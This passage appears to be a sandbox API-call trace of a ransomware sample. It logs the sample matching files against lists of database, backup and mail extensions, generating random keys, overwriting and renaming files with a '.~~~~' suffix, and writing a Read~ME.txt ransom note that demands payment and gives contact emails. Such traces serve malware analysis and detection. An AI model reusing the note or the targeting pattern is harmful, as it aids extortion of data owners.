	[0082.917] lstrlenW (lpString=".fdb") returned 4
	[0082.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0082.917] lstrlenW (lpString=".bak") returned 4
	[0082.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0082.917] lstrlenW (lpString=".myd") returned 4
	[0082.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0082.917] lstrlenW (lpString=".DTXS") returned 5
	[0082.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0082.917] lstrlenW (lpString=".ckp") returned 4
	[0082.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0082.917] lstrlenW (lpString=".dbt") returned 4
	[0082.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0082.917] lstrlenW (lpString=".db") returned 3
	[0082.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0082.918] lstrlenW (lpString=".TXT") returned 4
	[0082.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0082.918] lstrlenW (lpString=".MDF") returned 4
	[0082.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0082.918] lstrlenW (lpString=".bdb") returned 4
	[0082.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0082.918] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0082.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.918] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0082.919] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.919] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0082.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0082.919] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20290934797) returned 1
	[0082.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9b4367b0, dwHighDateTime=0x1d60e1e)) 
	[0082.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0082.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0082.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0082.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac6d0
	[0082.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac6d0 | out: hHeap=0x300000) returned 1
	[0082.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e730
	[0082.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c588
	[0082.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e730 | out: hHeap=0x300000) returned 1
	[0082.920] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0082.920] GetLastError () returned 0x0
	[0082.920] GetLastError () returned 0x0
	[0082.920] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0082.920] GetLastError () returned 0x0
	[0082.921] GetLastError () returned 0x0
	[0082.923] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff9d6e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.923] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x6292, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x6292, lpOverlapped=0x0) returned 1
	[0082.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.923] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.924] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.924] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.924] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.924] CloseHandle (hObject=0x124) returned 1
	[0082.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a50d0
	[0082.924] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.~~~~")) returned 1
	[0082.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a50d0 | out: hHeap=0x300000) returned 1
	[0082.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0082.925] GetLastError () returned 0x0
	[0082.925] RtlWakeConditionVariable () returned 0x365f70
	[0082.925] GetCurrentThreadId () returned 0x3a4
	[0082.925] GetCurrentThreadId () returned 0x3a4
	[0082.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0082.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4550 | out: hHeap=0x300000) returned 1
	[0082.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac698 | out: hHeap=0x300000) returned 1
	[0082.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4550
	[0082.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0082.926] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0082.926] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0082.927] CloseHandle (hObject=0x124) returned 1
	[0082.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4550 | out: hHeap=0x300000) returned 1
	[0082.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4830 | out: hHeap=0x300000) returned 1
	[0082.927] RtlWakeConditionVariable () returned 0x365f70
	[0082.927] GetCurrentThreadId () returned 0x3a4
	[0082.927] GetCurrentThreadId () returned 0x3a4
	[0082.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e730
	[0082.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aad90 | out: hHeap=0x300000) returned 1
	[0082.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac900 | out: hHeap=0x300000) returned 1
	[0082.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aad90
	[0082.928] lstrlenW (lpString=".scr") returned 4
	[0082.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".scr") returned 0x0
	[0082.928] lstrlenW (lpString=".cmd") returned 4
	[0082.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".cmd") returned 0x0
	[0082.928] lstrlenW (lpString=".dll") returned 4
	[0082.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".dll") returned 0x0
	[0082.928] lstrlenW (lpString=".bat") returned 4
	[0082.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".bat") returned 0x0
	[0082.928] lstrlenW (lpString=".cpl") returned 4
	[0082.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".cpl") returned 0x0
	[0082.928] lstrlenW (lpString=".sys") returned 4
	[0082.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".sys") returned 0x0
	[0082.928] lstrlenW (lpString=".msc") returned 4
	[0082.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".msc") returned 0x0
	[0082.928] lstrlenW (lpString=".com") returned 4
	[0082.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".com") returned 0x0
	[0082.928] lstrlenW (lpString=".lnk") returned 4
	[0082.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".lnk") returned 0x0
	[0082.928] lstrlenW (lpString=".msp") returned 4
	[0082.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".msp") returned 0x0
	[0082.928] lstrlenW (lpString=".pif") returned 4
	[0082.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".pif") returned 0x0
	[0082.928] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0082.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0082.929] lstrlenW (lpString=".sqb") returned 4
	[0082.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".sqb") returned 0x0
	[0082.929] lstrlenW (lpString=".ost") returned 4
	[0082.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".ost") returned 0x0
	[0082.929] lstrlenW (lpString=".txt") returned 4
	[0082.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".txt") returned 0x0
	[0082.929] lstrlenW (lpString=".mdt") returned 4
	[0082.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".mdt") returned 0x0
	[0082.929] lstrlenW (lpString=".BDB") returned 4
	[0082.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".BDB") returned 0x0
	[0082.929] lstrlenW (lpString=".eql") returned 4
	[0082.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".eql") returned 0x0
	[0082.929] lstrlenW (lpString=".DBF") returned 4
	[0082.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".DBF") returned 0x0
	[0082.929] lstrlenW (lpString=".EQL") returned 4
	[0082.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".EQL") returned 0x0
	[0082.929] lstrlenW (lpString=".FDB") returned 4
	[0082.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".FDB") returned 0x0
	[0082.930] lstrlenW (lpString=".EDB") returned 4
	[0082.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".EDB") returned 0x0
	[0082.930] lstrlenW (lpString=".DACPAC") returned 7
	[0082.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".DACPAC") returned 0x0
	[0082.930] lstrlenW (lpString=".VHD") returned 4
	[0082.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".VHD") returned 0x0
	[0082.930] lstrlenW (lpString=".DBV") returned 4
	[0082.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".DBV") returned 0x0
	[0082.930] lstrlenW (lpString=".dacpac") returned 7
	[0082.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".dacpac") returned 0x0
	[0082.930] lstrlenW (lpString=".sdf") returned 4
	[0082.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".sdf") returned 0x0
	[0082.930] lstrlenW (lpString=".accdb") returned 6
	[0082.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".accdb") returned 0x0
	[0082.930] lstrlenW (lpString=".DBX") returned 4
	[0082.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".DBX") returned 0x0
	[0082.930] lstrlenW (lpString=".MDT") returned 4
	[0082.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".MDT") returned 0x0
	[0082.930] lstrlenW (lpString=".SQB") returned 4
	[0082.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".SQB") returned 0x0
	[0082.930] lstrlenW (lpString=".vhd") returned 4
	[0082.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".vhd") returned 0x0
	[0082.930] lstrlenW (lpString=".bac") returned 4
	[0082.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".bac") returned 0x0
	[0082.930] lstrlenW (lpString=".mdf") returned 4
	[0082.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".mdf") returned 0x0
	[0082.931] lstrlenW (lpString=".BAK") returned 4
	[0082.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".BAK") returned 0x0
	[0082.931] lstrlenW (lpString=".BAC") returned 4
	[0082.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".BAC") returned 0x0
	[0082.931] lstrlenW (lpString=".dbs") returned 4
	[0082.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".dbs") returned 0x0
	[0082.931] lstrlenW (lpString=".vhdx") returned 5
	[0082.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".vhdx") returned 0x0
	[0082.931] lstrlenW (lpString=".NDF") returned 4
	[0082.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".NDF") returned 0x0
	[0082.931] lstrlenW (lpString=".dat") returned 4
	[0082.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".dat") returned 0x0
	[0082.931] lstrlenW (lpString=".DBS") returned 4
	[0082.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".DBS") returned 0x0
	[0082.931] lstrlenW (lpString=".CKP") returned 4
	[0082.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".CKP") returned 0x0
	[0082.931] lstrlenW (lpString=".edb") returned 4
	[0082.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".edb") returned 0x0
	[0082.931] lstrlenW (lpString=".PST") returned 4
	[0082.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".PST") returned 0x0
	[0082.931] lstrlenW (lpString=".dbf") returned 4
	[0082.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".dbf") returned 0x0
	[0082.931] lstrlenW (lpString=".SQL") returned 4
	[0082.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".SQL") returned 0x0
	[0082.931] lstrlenW (lpString=".pst") returned 4
	[0082.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".pst") returned 0x0
	[0082.932] lstrlenW (lpString=".dbv") returned 4
	[0082.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".dbv") returned 0x0
	[0082.932] lstrlenW (lpString=".SDF") returned 4
	[0082.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".SDF") returned 0x0
	[0082.932] lstrlenW (lpString=".dtxs") returned 5
	[0082.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".dtxs") returned 0x0
	[0082.932] lstrlenW (lpString=".db3") returned 4
	[0082.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".db3") returned 0x0
	[0082.932] lstrlenW (lpString=".OST") returned 4
	[0082.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".OST") returned 0x0
	[0082.932] lstrlenW (lpString=".dbx") returned 4
	[0082.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".dbx") returned 0x0
	[0082.932] lstrlenW (lpString=".DB3") returned 4
	[0082.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".DB3") returned 0x0
	[0082.932] lstrlenW (lpString=".DAT") returned 4
	[0082.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".DAT") returned 0x0
	[0082.932] lstrlenW (lpString=".VHDX") returned 5
	[0082.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".VHDX") returned 0x0
	[0082.932] lstrlenW (lpString=".ndf") returned 4
	[0082.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".ndf") returned 0x0
	[0082.932] lstrlenW (lpString=".DB") returned 3
	[0082.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".DB") returned 0x0
	[0082.932] lstrlenW (lpString=".sql") returned 4
	[0082.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".sql") returned 0x0
	[0082.933] lstrlenW (lpString=".MYD") returned 4
	[0082.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".MYD") returned 0x0
	[0082.933] lstrlenW (lpString=".DBT") returned 4
	[0082.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".DBT") returned 0x0
	[0082.933] lstrlenW (lpString=".ACCDB") returned 6
	[0082.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".ACCDB") returned 0x0
	[0082.933] lstrlenW (lpString=".fdb") returned 4
	[0082.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".fdb") returned 0x0
	[0082.933] lstrlenW (lpString=".bak") returned 4
	[0082.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".bak") returned 0x0
	[0082.933] lstrlenW (lpString=".myd") returned 4
	[0082.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".myd") returned 0x0
	[0082.933] lstrlenW (lpString=".DTXS") returned 5
	[0082.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".DTXS") returned 0x0
	[0082.933] lstrlenW (lpString=".ckp") returned 4
	[0082.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".ckp") returned 0x0
	[0082.933] lstrlenW (lpString=".dbt") returned 4
	[0082.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".dbt") returned 0x0
	[0082.933] lstrlenW (lpString=".db") returned 3
	[0082.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".db") returned 0x0
	[0082.934] lstrlenW (lpString=".TXT") returned 4
	[0082.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".TXT") returned 0x0
	[0082.934] lstrlenW (lpString=".MDF") returned 4
